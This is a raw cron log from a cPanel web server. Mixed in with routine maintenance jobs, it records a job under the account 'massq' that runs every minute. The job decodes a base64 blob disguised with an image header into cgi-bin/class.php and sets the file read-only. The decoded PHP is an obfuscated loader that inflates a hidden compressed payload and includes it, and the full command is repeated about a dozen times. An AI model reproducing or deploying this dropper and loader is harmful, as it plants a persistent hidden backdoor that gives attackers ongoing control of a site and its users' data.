Nov  9 12:09:01 server CROND[30313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:09:01 server CROND[30314]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 12:10:01 server CROND[31144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 12:10:01 server CROND[31146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:10:01 server CROND[31147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:10:01 server CROND[31150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:11:01 server CROND[32201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:12:01 server CROND[554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:12:01 server CROND[555]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 12:13:01 server CROND[1332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:14:01 server CROND[2171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:15:01 server CROND[3422]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:15:01 server CROND[3421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:15:01 server CROND[3425]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:15:01 server CROND[3426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:15:01 server CROND[3430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:16:01 server CROND[4323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:17:01 server CROND[5148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:18:01 server CROND[5714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:19:01 server CROND[6614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:20:01 server CROND[7452]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 12:20:01 server CROND[7454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 12:20:01 server CROND[7456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:20:01 server CROND[7455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:20:01 server CROND[7457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:21:01 server CROND[8330]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
